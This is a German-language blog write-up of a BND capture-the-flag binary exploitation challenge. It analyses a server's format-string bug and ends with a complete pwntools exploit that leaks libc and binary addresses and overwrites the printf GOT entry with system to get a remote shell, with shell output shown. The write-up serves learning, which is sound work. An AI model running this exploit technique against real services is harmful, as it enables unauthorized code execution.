BND-CTF: 86-GBE Message Service
Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.
Das Ziel:
Exploit a binary to gain a remote shell.
Wir bekommen die server.c
, sowie die auf dem Server genutzte libc.
Server-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int my_read(FILE *fd, char *buf, size_t max) {
int read = 0;
while (read < max && !feof(fd)) {
int ch = getc(fd);
if (ch == '\n') {
break;
} else {
buf[read] = ch;
read++;
}
}
buf[read] = 0;
return read;
}
char rot13(char ch) {
if (ch >= 'a' && ch <= 'z') {
return ((ch - 'a' + 13) % 26) + 'a';
} else if (ch >= 'A' && ch <= 'Z') {
return ((ch - 'A' + 13) % 26) + 'A';
} else if (ch >= '0' && ch <= '9') {
return ((ch - '0' + 5) % 10) + '0';
} else {
return ch;
}
}
int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char inp[0x100];
char cc;
puts("Welcome to our 86-GBE service!");
puts("Enter your message and press return.");
puts("Enter quit to exit.");
unsigned char len;
for (;;) {
len = my_read(stdin, inp, sizeof (inp) - 1);
if (strcmp(inp, "quit") == 0) {
exit(0);
}
for (int i = 0; i < len; i++) {
inp[i] = rot13(inp[i]);
}
for (int i = 0; i < len / 2; i++) {
cc = inp[i];
inp[i] = inp[len -i -1];
inp[len - i - 1] = cc;
}
printf(inp);
putc('\n', stdout);
}
exit(0);
}
Nehmt Euch am Besten etwas Zeit, um den Code erstmal anzuschauen.
Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:
8981f7e94145867387b532e1ef0afec6beb2f96e ld-linux.so.2
4fcd76645607f38d91f65654ddd6b9770b5ea54a libc.so.6
ea5b846f1eaa6a413aa91dda8e68067b407f52a9 server
Ich werde die Binaries hier nicht hochladen. Die libc werdet Ihr aber sicher irgendwo finden und die Executable könnt Ihr selbst kompilieren.
Sammlung der Hinweise
Schauen wir erstmal, was alles auffällig ist und was in der Aufgabe steht.
Aufgabe:
Exploit a binary to gain a remote shell.
Die Zeile, mit der der Server kompiliert wurde, ist in der Datei angegeben:
$ gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all
Das sind aber ganz schön viele Flags! Schauen wir mal nach, was sie alle machen:
-g
und-ggdb
: “Bitte lass Debug-Symbole in der Executable”-Wl,-z,norelro
:-Wl
reicht die danach folgenden Zeichen als Argument an den Linker durch. D. h. unser Linker bekommt-z norelro
:norelro
: Normalerweise ist die RELocation Section auf Readonly. Mit diesen Parameter wird dieser Schutz ausgestellt
-fstack-protector-all
: Schaltet Stack-Protection ein, z. B. für Härtung gegen Buffer-Overflows mit irgendwelchen Stack-Guards/Canarys.
Jetzt, wo wir wissen, was die Flags in etwa machen, kompilieren wir mal unsere eigene Server-Executable. Ich füge noch -Wall -Wpedantic
hinzu, damit wir vielleicht noch ein paar Warnungen mehr sehen, die uns helfen könnten:
$ gcc server.c -o server2 -g -ggdb -Wl,-z,norelro -fstack-protector-all
server.c: In function ‘main’:
server.c:65:10: warning: format not a string literal and no format arguments [-Wformat-security]
65 | printf(inp);
| ^~~
Huch, was ist das denn für eine Warnung?
Wir haben uns den Code noch gar nicht angeschaut und sehen jetzt schon, dass an einer Stelle ein Buffer direkt an printf
übergeben wird. Diese Warnung bekommt man auch, wenn wir das -Wall -Wpedantic
weg lassen.
Blicken wir jetzt mal in den Code:
- Der dort reingereichte Buffer wird direkt vom User kontrolliert. Vorher wird noch ein bisschen rot13 gemacht und der String umgedreht. Eingelesen wird er über die
my_read
-Funktion - Die
main
-Funktion verwendet ausschließlichexit(0)
, um die Funktion zu verlassen.
Außerdem interessant: Wir bekommen die libc, die auf dem Server liegt, dazu.
Skizzierung des Angriffs
Nehmen wir mal unsere bisherigen Funde und schauen, wie wir dort weiter kommen.
-fstack-protector-all
Das soll uns wohl klar machen, dass wir nicht versuchen sollen, den Stack zu überlaufen, um z. B. die Return-Address zu überschreiben.
Dafür spricht auch, dass exit
verwendet wird, um das Programm zu beenden (statt zu returnen). Würden wir den Stack zum Überlauf bringen, würde es uns nichts bringen, die Rücksprungadresse zu überschreiben. Die my_read
-Funktion sieht auf den ersten Blick auch nicht für Überläufe anfällig aus.
Vielleicht können wir ja Shellcode in den Stack schreiben und dort hinspringen? Dafür müsste der Stack ausführbar sein. Schauen wir mal nach:
$ readelf -l server
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002a0 0x00000000000002a0 R 0x8
INTERP 0x00000000000002e0 0x00000000000002e0 0x00000000000002e0 0x000000000000001c 0x000000000000001c R 0x1
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000860 0x0000000000000860 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000655 0x0000000000000655 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000208 0x0000000000000208 R 0x1000
LOAD 0x0000000000002208 0x0000000000003208 0x0000000000003208 0x0000000000000298 0x00000000000002c8 RW 0x1000
DYNAMIC 0x0000000000002218 0x0000000000003218 0x0000000000003218 0x00000000000001f0 0x00000000000001f0 RW 0x8
NOTE 0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020 R 0x8
NOTE 0x0000000000000320 0x0000000000000320 0x0000000000000320 0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020 R 0x8
GNU_EH_FRAME 0x0000000000002068 0x0000000000002068 0x0000000000002068 0x0000000000000054 0x0000000000000054 R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10
Die unterste Zeile zeigt: Nein, leider ist der Stack nicht ausführbar.
norelro
Stattdessen sieht es so aus, als würde man uns sehr doll hinten, irgendwas mit den Relocation-Sections zu machen. Das Readonly-Flag wird extra entfernt. Wir sollen diese Gegebenheit wohl ausnutzen.
printf
Der an das printf
übergebene Buffer deutet auf eine Format-String-Attacke hin. Mit dem
%n
können wir an bestimmte Adressen im Speicher schreiben. Was können wir denn so beschreiben?
$ readelf -S server
There are 31 section headers, starting at offset 0x3028:
Section Headers:
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 00000000000002e0 000002e0 000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.gnu.propert NOTE 0000000000000300 00000300 0000000000000020 0000000000000000 A 0 0 8
[ 3] .note.gnu.build-i NOTE 0000000000000320 00000320 0000000000000024 0000000000000000 A 0 0 4
[ 4] .note.ABI-tag NOTE 0000000000000344 00000344 0000000000000020 0000000000000000 A 0 0 4
[ 5] .gnu.hash GNU_HASH 0000000000000368 00000368 0000000000000034 0000000000000000 A 6 0 8
[ 6] .dynsym DYNSYM 00000000000003a0 000003a0 00000000000001b0 0000000000000018 A 7 1 8
[ 7] .dynstr STRTAB 0000000000000550 00000550 00000000000000db 0000000000000000 A 0 0 1
[ 8] .gnu.version VERSYM 000000000000062c 0000062c 0000000000000024 0000000000000002 A 6 0 2
[ 9] .gnu.version_r VERNEED 0000000000000650 00000650 0000000000000030 0000000000000000 A 7 1 8
[10] .rela.dyn RELA 0000000000000680 00000680 0000000000000108 0000000000000018 A 6 0 8
[11] .rela.plt RELA 0000000000000788 00000788 00000000000000d8 0000000000000018 AI 6 24 8
[12] .init PROGBITS 0000000000001000 00001000 000000000000001b 0000000000000000 AX 0 0 4
[13] .plt PROGBITS 0000000000001020 00001020 00000000000000a0 0000000000000010 AX 0 0 16
[14] .plt.got PROGBITS 00000000000010c0 000010c0 0000000000000010 0000000000000010 AX 0 0 16
[15] .plt.sec PROGBITS 00000000000010d0 000010d0 0000000000000090 0000000000000010 AX 0 0 16
[16] .text PROGBITS 0000000000001160 00001160 00000000000004e5 0000000000000000 AX 0 0 16
[17] .fini PROGBITS 0000000000001648 00001648 000000000000000d 0000000000000000 AX 0 0 4
[18] .rodata PROGBITS 0000000000002000 00002000 0000000000000066 0000000000000000 A 0 0 8
[19] .eh_frame_hdr PROGBITS 0000000000002068 00002068 0000000000000054 0000000000000000 A 0 0 4
[20] .eh_frame PROGBITS 00000000000020c0 000020c0 0000000000000148 0000000000000000 A 0 0 8
[21] .init_array INIT_ARRAY 0000000000003208 00002208 0000000000000008 0000000000000008 WA 0 0 8
[22] .fini_array FINI_ARRAY 0000000000003210 00002210 0000000000000008 0000000000000008 WA 0 0 8
[23] .dynamic DYNAMIC 0000000000003218 00002218 00000000000001f0 0000000000000010 WA 7 0 8
[24] .got PROGBITS 0000000000003408 00002408 0000000000000088 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000003490 00002490 0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 00000000000034a0 000024a0 0000000000000030 0000000000000000 WA 0 0 32
[27] .comment PROGBITS 0000000000000000 000024a0 000000000000002a 0000000000000001 MS 0 0 1
[28] .symtab SYMTAB 0000000000000000 000024d0 0000000000000750 0000000000000018 29 46 8
[29] .strtab STRTAB 0000000000000000 00002c20 00000000000002ee 0000000000000000 0 0 1
[30] .shstrtab STRTAB 0000000000000000 00002f0e 000000000000011a 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
Wenn das zu viel zu lesen ist, | grep W -B 1
zeigt schnell, dass folgende Sektionen beschreibbar sind:
.init_array
:WA
.fini_array
:WA
.dynamic
:WA
.got
:WA
.data
:WA
.bss
:WA
WA
bedeutet hier, dass wir nicht nur schreiben, sondern dort auch allozieren können (was für uns wahrscheinlich irrelevant ist). Das X
für Execute fehlt aber bei allen. Das bedeutet wohl für uns, dass wir nicht einfach irgendwo Shellcode rein schreiben und ihn dann ausführen können.
Wenn wir uns jetzt an das norelro
zurückerinnern: Das bewirkt in diesem Fall, dass .got
beschreibbar ist.
Wie es der Zufall will, ist das Beschreiben der GOT-Sektion ein bekannter Angriffsvektor.
Das wird dann wohl unser Ziel sein.
Global Offset Table (GOT)
Was macht die GOT denn?
In der GOT sind Verweise auf importierte Funktionen, wie z. B. printf
, exit
, putc
, puts
und so weiter.
Gehen wir mal in IDA in die GOT. Über View -> Open Subview -> Segments
erhalten wir eine Liste der Sektionen innerhalb der Binary, ähnlich wie mit readelf
oben.
Mit einem Doppelklick auf .got
landen wir schon an der richtigen Stelle:
.got:0000000000003408 ; ===========================================================================
.got:0000000000003408
.got:0000000000003408 ; Segment type: Pure data
.got:0000000000003408 ; Segment permissions: Read/Write
.got:0000000000003408 _got segment qword public 'DATA' use64
.got:0000000000003408 assume cs:_got
.got:0000000000003408 ;org 3408h
.got:0000000000003408 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000003410 qword_3410 dq 0 ; DATA XREF: sub_1020↑r
.got:0000000000003418 qword_3418 dq 0 ; DATA XREF: sub_1020+6↑r
.got:0000000000003420 puts_ptr dq offset puts ; DATA XREF: _puts+4↑r
.got:0000000000003428 __stack_chk_fail_ptr dq offset __stack_chk_fail
.got:0000000000003428 ; DATA XREF: ___stack_chk_fail+4↑r
.got:0000000000003430 printf_ptr dq offset printf ; DATA XREF: _printf+4↑r
.got:0000000000003438 strcmp_ptr dq offset strcmp ; DATA XREF: _strcmp+4↑r
.got:0000000000003440 putc_ptr dq offset putc ; DATA XREF: _putc+4↑r
.got:0000000000003448 feof_ptr dq offset feof ; DATA XREF: _feof+4↑r
.got:0000000000003450 setvbuf_ptr dq offset setvbuf ; DATA XREF: _setvbuf+4↑r
.got:0000000000003458 exit_ptr dq offset exit ; DATA XREF: _exit+4↑r
.got:0000000000003460 getc_ptr dq offset getc ; DATA XREF: _getc+4↑r
.got:0000000000003468 _ITM_deregisterTMCloneTable_ptr dq offset _ITM_deregisterTMCloneTable
.got:0000000000003468 ; DATA XREF: deregister_tm_clones+13↑r
.got:0000000000003470 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000003470 ; DATA XREF: _start+28↑r
.got:0000000000003478 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000003478 ; DATA XREF: _init_proc+8↑r
.got:0000000000003480 _ITM_registerTMCloneTable_ptr dq offset _ITM_registerTMCloneTable
.got:0000000000003480 ; DATA XREF: register_tm_clones+24↑r
.got:0000000000003488 __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000003488 ; DATA XREF: __cxa_finalize+4↑r
.got:0000000000003488 ; __do_global_dtors_aux+E↑r
.got:0000000000003488 _got ends
.got:0000000000003488
Hier sind alle libc-Funktionen gelistet, die in dem Programm verwendet werden.
Man sieht ganz gut, dass z. B. Offset 0x3430
auf printf
der importierten libc zeigt.
Wenn im Programm jetzt z. B. exit(0)
steht, wird in die Procedure-Linkage-Table (PLT) gesprungen, welche sich die Adresse der “richtigen” exit
-Funktion aus dieser GOT holt. Wir werden genau dieses Verhalten später sehen, wenn wir mit gdb durchsteppen. Die PLT fungiert hier als eine indirektion, die wir quasi nicht beachten müssen, solange wie die richtige Adresse in die GOT schreiben. Die PLT selbst können wir nicht beschreiben. Mehr Infos zu PLT/GOT hier.
Wir können also an eine beliebige Stelle/Funktion springen, indem wir einfach die Zieladresse z. B. in den Eintrag für exit
schreiben.
Wenn wir dann in dem Programm zu der Stelle kommen, die exit(0)
aufruft, wird letztendlich auf unsere Stelle gesprungen.
Shell spawnen
An beliebige Adressen springen zu können, ist schon mal ganz gut. Aber wohin wollen wir springen?
Um eine Shell zu spawnen, kann man nicht nur selbst-injizierten Shellcode ausführen.
Wir können auch die libc verwenden und z. B. system(3)
oder execve(2)
aufrufen.
Wenn wir also die Adresse dieser Funktionen hätten, könnten wir die GOT so überschreiben, dass wir zu diesen Funktionen springen. Welche Funktion können wir als Ziel nehmen?
int execve(const char *pathname, char *const argv[], char *const envp[]);
Um execve
aufrufen zu können, müssten wir auch die geforderte Parameter an die Funktion übergeben.
Da wir einen bestehenden Funktionsaufruf überschreiben, müsste diese Funktion auch die Parameter schon “richtig” nehmen.
Für argv
und envp
könnte man null noch verkraften, aber wenn die Calling-Convention nicht eingehalten wird, sieht das schlecht aus.
Stellen wir execve
mal hinten an.
int system(const char *command);
system
nimmt einen Parameter, das auszuführende Command, welches als Argument an /bin/sh -c
übergeben wird.
Zufällig nimmt printf
auch einen Parameter (die Variadic-Arguments dahinter können wir auch ignorieren).
Es sieht also so aus, als könnten wir den printf
-Aufruf überschreiben und durch system
ersetzen.
Wenn wir das machen würden würde dann die Nutzereingabe aus dem my_read
direkt (mit etwas rot13) an sh -c
übergeben werden – quasi eine Shell also!
Zusammenfassung
Wir werden versuchen, den Eintrag von printf
in der GOT so umzuschreiben, dass er auf system
zeigt. Dadruch sollten wir eine Shell bekommen.
Exploitation
Versuchen wir das Ganze mal. Was benötigen wir denn, um unseren Exploit zu fahren?
- Die GOT befindet sich in unserer Binary. Konkret: Wir wollen an Offset
0x3430
unserer Binary schreiben. - Was wollen wir da hin schreiben? Die Adresse von
system
in unserer libc. Die befindet sich an Offset0x55410
in der libc, die sie uns mitgeliefert haben. Der Offset muss nicht bei jeder libc gleich sein, was wohl der Grund sein wird, dass sie uns diese mitgeliefert haben.
Jetzt müssen wir noch rausfinden, wie die Basisadressen der libc und des Servers zur Laufzeit sind. Wir können zum Testen mal in das /proc
-Verzeichnis schauen:
$ cat /proc/`pidof server`/maps
7f3033510000-7f3033535000 r--p 00000000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f3033535000-7f30336ad000 r-xp 00025000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336ad000-7f30336f7000 r--p 0019d000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f7000-7f30336f8000 ---p 001e7000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f8000-7f30336fb000 r--p 001e7000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fb000-7f30336fe000 rw-p 001ea000 00:00 97762 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fe000-7f3033702000 rw-p 00000000 00:00 0
7f3033710000-7f3033712000 rw-p 00000000 00:00 0
7f3033720000-7f3033721000 r--p 00000000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033721000-7f3033743000 r-xp 00001000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033743000-7f3033744000 r-xp 00023000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033744000-7f303374b000 r--p 00024000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374b000-7f303374c000 r--p 0002b000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374d000-7f303374e000 r--p 0002c000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374e000-7f303374f000 rw-p 0002d000 00:00 93615 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374f000-7f3033750000 rw-p 00000000 00:00 0
7f303375c000-7f303375d000 r--p 00000000 00:00 476020 /mnt/c/Temp/challenge/server
7f303375d000-7f303375e000 r-xp 00001000 00:00 476020 /mnt/c/Temp/challenge/server
7f303375e000-7f303375f000 r--p 00002000 00:00 476020 /mnt/c/Temp/challenge/server
7f303375f000-7f3033760000 rw-p 00002000 00:00 476020 /mnt/c/Temp/challenge/server
7ffff4ffc000-7ffff57fc000 rw-p 00000000 00:00 0 [stack]
7ffff5a3f000-7ffff5a40000 r-xp 00000000 00:00 0 [vdso]
Unser Server fängt bei 0x7f303375c000
an, die libc bei 0x7f3033510000
.
Wir hätten unserer Theorie nach also diese Adressen:
- Der relevante GOT-Eintrag sollte bei
0x7f303375c000 + 0x3430 = 0x7f303375f430
liegen - Die
system
-Funktion sollte bei0x7f3033510000 + 0x55410 = 0x7f3033565410
zu finden sein.
Als Cross-Check:
Starten wir gdb und schauen nach. Zuerst überprüfen wir den GOT-Eintrag. Dazu schauen wir uns die Main-Funktion an und setzen einen Breakpoint beim printf
.
$ sudo gdb ./server `pidof server`
(gdb) disas main
[...]
0x00007f303375d5a5 <+461>: mov eax,0x0
0x00007f303375d5aa <+466>: call 0x7f303375d0f0 <printf@plt>
0x00007f303375d5af <+471>: mov rax,QWORD PTR [rip+0x1eea]
[...]
(gdb) br *0x00007f303375d5aa
Breakpoint 1 at 0x7f303375d5aa
# Nutzer macht Eingaben
Breakpoint 1, 0x00007f303375d5aa in main ()
# wir sind jetzt bei printf
(gdb) si # eine instruction weiter springen (in diesem Fall den Call folgen)
0x00007f303375d0f0 in printf@plt ()
# Wir befinden uns jetzt in der PLT und sollten jetzt die Adresse in der GOT als Call sehen
(gdb) disas
Dump of assembler code for function printf@plt:
=> 0x00007f303375d0f0 <+0>: endbr64
0x00007f303375d0f4 <+4>: bnd jmp QWORD PTR [rip+0x2335] # 0x7f303375f430 <printf@got.plt>
0x00007f303375d0fb <+11>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
Hier sehen wir in dem Kommentar, den gdb für uns gemacht hat: 0x7f303375f430 <printf@got.plt>
. Das ist genau die Adresse, die wir erwartet haben. Der Prozessor wird also dann dort hin springen, wohin der Eintrag in der GOT zeigt, also in das printf
der libc. Das passt soweit.
Schauen wir jetzt nach, ob die Adresse für system
stimmt. Das machen wir so:
(gdb) disas 0x7f3033565410
Dump of assembler code for function __libc_system:
0x00007f3033565410 <+0>: endbr64
0x00007f3033565414 <+4>: test rdi,rdi
0x00007f3033565417 <+7>: je 0x7f3033565420 <__libc_system+16>
0x00007f3033565419 <+9>: jmp 0x7f3033564e50 <do_system>
0x00007f303356541e <+14>: xchg ax,ax
0x00007f3033565420 <+16>: sub rsp,0x8
0x00007f3033565424 <+20>: lea rdi,[rip+0x162187] # 0x7f30336c75b2
0x00007f303356542b <+27>: call 0x7f3033564e50 <do_system>
0x00007f3033565430 <+32>: test eax,eax
0x00007f3033565432 <+34>: sete al
0x00007f3033565435 <+37>: add rsp,0x8
0x00007f3033565439 <+41>: movzx eax,al
0x00007f303356543c <+44>: ret
End of assembler dump.
Und tatsächlich, es ist die richtige Adresse! gdb ist sogar so nett und schreib uns noch das Symbol dazu: __libc_system
.
Damit sind wir quasi fertig, oder? Nicht ganz.
Jedes Mal, wenn wir das Programm ausführen, sind die Adressen anders. Also das cat /proc/$(pidof server)/maps
von weiter oben wird jedes Mal anders aussehen. Lediglich die Offsets bleiben gleich. Das Prinzip nennt man position-independent execution (PIE). Wir können also nicht einfach die Adressen hartkodieren und sind fertig.
Wir müssen irgendwie an die Basisadressen der libc (oben 0x7f3033510000
) und des Servers (0x7f303375c000
) im Speicher kommen.
Schauen wir uns mal den Stack an (c%
ist die Verschlüsselung von %p
):
$ ./server
Welcome to our 86-GBE service!
Enter your message and press return.
Enter quit to exit.
c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c%
(nil) 0x25 (nil) (nil) 0x7f3033731d50 0x7ffff57faa78 0x100000340 0x25fb034000000340 0x7d000000fb 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f3000702520 0x7ffff57faa70 0x2e9dd1a1f7c9ac00 (nil) 0x7f30335370b3 0x71 0x7ffff57faa78 0x1336f8618 0x7f303375d3d8 0x7f303375d5d0 0x44eb45a416c6b2c2 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0xbb14af5b45e6b2c2 0xba8b2302f608b2c2 (nil) (nil) (nil) 0x1 0x7ffff57faa78 0x7ffff57faa88 0x7f303374f190 (nil) (nil) 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0x7f303375d18e 0x7ffff57faa68 0x1c 0x1 0x7ffff57fad0f (nil) 0x7ffff57fad1d 0x7ffff57fad2d 0x7ffff57fad3e 0x7ffff57fb070 0x7ffff57fb084 0x7ffff57fb0a5 0x7ffff57fb0d5 0x7ffff57fb10a
Auffällig:
- An Offset 2 (
0x25
) ist wohl die Größe unseres Buffers. 0x70
0x25
(%p
) ist unsere ursprüngliche Eingabe, daher wird das Arrayinput
an Offset 10 liegen. Hier muss man auf die Endianess achten.- Danach wohl noch ein paar Pointer, die sich ändern, wenn man das Programm neu startet
Vielleicht ist bei den Pointern ja einer dabei, den wir brauchen. Wenn man eine Funktion mit call
aufruft, pusht der Prozessor dabei üblicherweise die Rücksprungadresse auf den Stack. Da die main
-Funktion üblicherweise nicht die “richtige” Main-Funktion ist, sondern von der libc gewrappt wird, werden wir sicherlich eine Rücksprungadresse in die libc dort finden.
Vergleichen wir mal die Adressen mit denen, die wir zu den gemappten Sektionen oben haben. Die libc fängt bei 0x7f3033510000
an. Sucht man nach 7f30335
, fällt einem 0x7f30335370b3
in’s Auge. Das ist die einzige Adresse vom Stack, die 7 hexadezimale Stellen mit der libc-Basisadresse teilt (und damit ist die meisten Stellen). Die wäre also ein guter Kandidat für eine libc-Funktion. Schauen wir mal in gdb nach:
(gdb) disas 0x7f30335370b3
Dump of assembler code for function __libc_start_main:
0x00007f3033536fc0 <+0>: endbr64
0x00007f3033536fc4 <+4>: push r15
0x00007f3033536fc6 <+6>: xor eax,eax
# ...
Nice, das ist eine Adresse in der __libc_start_main
, also der Funktion, die die main-Funktion wrappt! Nachdem wir dieses Vorgehen ein paar Mal wiederholt haben, könenn wir bestätigen, dass an Stelle 45 auf dem Stack eine Adresse zu einer Instruction in der __libc_start_main
steht und auch immer auf dieselbe Instruction zeigt.
Rechnen wir jetzt 0x7f30335370b3 - 0x7f3033510000
, erhalten wir 0x270b3
. Das ist der Offset, der diese Rücksprungadresse zum Beginn der libc im Speicher hat.
Schauen wir jetzt, dass wir die Adresse der GOT bekommen. Wir suchen im Stack also den besten Präfix für 0x7f303375c000
. Da gibt es ein paar. nach ein par Mal neustarten wissen wir, dass (aus dem Beispiel oben) 0x7f303375d3d8
– also die 49. Stelle – (direkt!) auf die Main-Funktion zeigt, die sich in der Server-Binary befindet:
(gdb)
disas 0x7f303375d3d8
Dump of assembler code for function main:
0x00007f303375d3d8 <+0>: endbr64
0x00007f303375d3dc <+4>: push rbp
0x00007f303375d3dd <+5>: mov rbp,rsp
# ...
Randnotiz: Das ist an Stelle 49, also weiter unten im Stack als die Rücksprungadresse in die libc. Das kommt wahrscheinlich daher, dass die main
-Funktion eine lokale Variable in der __libc_start_main
ist.
Wir berechnen wieder das Offset zur Basisadresse: 0x7f303375d3d8 - 0x7f303375c000
, erhalten 0x13d8
.
Wir können also remote durch Nutzereingaben die Adressen der libc und der Server-Binary herausfinden. Außerdem haben wir feste Offsets und wissen daher, wohin/was wir schreiben müssen.
Bisher haben wir das printf
nur verwendet, um Informationen aus dem Prozess zu leaken. Jetzt können wir pritnf
auch verwenden, um den Speicher zu beschreiben.
Exploit-Code
Ich verwende die pwntools. Die abstrahieren ein bisschen Glue-Code weg und man kann sich auf das wesentliche konzentrieren. Man kann auch einfach zwischen lokalem und remote-Target wechseln. Für uns ist auch interessant, dass es automatisiert Format-String-Expolits fahren kann. Man kann einfach eine Adresse angeben und die pwntools versuchen automatisiert, diese Adresse zu beschreiben.
#!/usr/bin/env python3
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *
# rot13 and string-reversal are implemented in a seperate file (not necessary for understanding this exploit)
import bnd_grade_encryption
context.clear(arch = 'amd64', os='linux')
s = remote('152.96.7.8', 4242)
# s = process('./server') # uncomment for local exploitation
# Skip welcome message
s.recvline()
s.recvline()
s.recvline()
def send_payload(payload):
payload = bnd_grade_encryption.encrypt_or_decrypt(payload)
s.sendline(payload)
return s.recvline()
# Fetch pointer to `main` method
main_method_ptr = send_payload(b'%49$p')
main_method_ptr = int(main_method_ptr.decode('ascii'), 0)
server_base = main_method_ptr - 0x13d8
# Fetch pointer to some instruction in `__libc_start_main`
libc_start_main_ptr = send_payload(b'%45$p')
libc_start_main_ptr = int(libc_start_main_ptr.decode('ascii'), 0)
libc_base = libc_start_main_ptr - 0x270b3
libc_system_ptr = libc_base + 0x55410 # Pointer to `system(3)` in current memory
printf_got_entry_addr = server_base + 0x3430 # entry in the GOT we want to rewrite to `system(3)`
print(f' mod: {hex(server_base)}')
print(f' main: {hex(main_method_ptr)}')
print(f' libc_base: {hex(libc_base)}')
print(f'libc_system: {hex(libc_system_ptr)}')
print(f' printf: {hex(printf_got_entry_addr)}')
print()
print('Press return to get a shell')
input()
# Use format string exploit to path GOT entry
got_patcher = FmtStr(execute_fmt=send_payload)
got_patcher.write(printf_got_entry_addr, libc_system_ptr)
got_patcher.execute_writes()
# Not using s.interactive() because we have weird encoding stuff
i = 'id'
while i != '':
payload = bnd_grade_encryption.encrypt_or_decrypt(i)
s.sendline(payload)
lines = s.recvlines(timeout=2)
print('\n'.join(map(lambda a: a.decode('ascii'), lines)))
i = input('$ ')
Anmerkung: Dieses ganze Offset-Berechnen, was ich hier von hand gemacht hab, kann man auch mit den pwntools halbautomatisch machen, indem man sich die ELF-Binary lädt und mit denen rechnet.
Wenn wir den Exploit ausführen:
$ ./a.py
[+] Starting local process './server': pid 5555
mod: 0x7f9bc6d36000
main: 0x7f9bc6d373d8
libc_base: 0x7f9bc6b00000
libc_system: 0x7f9bc6b55410
printf: 0x7f9bc6d39430
Press return to get a shell
[*] Found format string offset: 10
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
$ cat flag.txt
<individuelle flag>
Fertig!
Schlussbemerkungen
Das sieht in diesem Writeup so aus, als wäre das ganz schnell gegangen. Natürlich liegt der Fokus hier auf dem Happy-Path.
Als ich an dem CTF saß, hab ich viele Fehlversuche gehabt und musste sehr viel recherchieren. Nicht, dass hier der Eindruck entsteht, dieser Exploit sei (für mich) einfach gewesen. Es war eher so ein “my first binary exploit”.
Für richtige CTFler wäre das hier wahrscheinlich wirklich straight-forward gewesen.
Zu Beginn wusste ich aber absolut nichts über den Aufbau von ELF, die Sektionen etc.
Jetzt bin ich schlauer!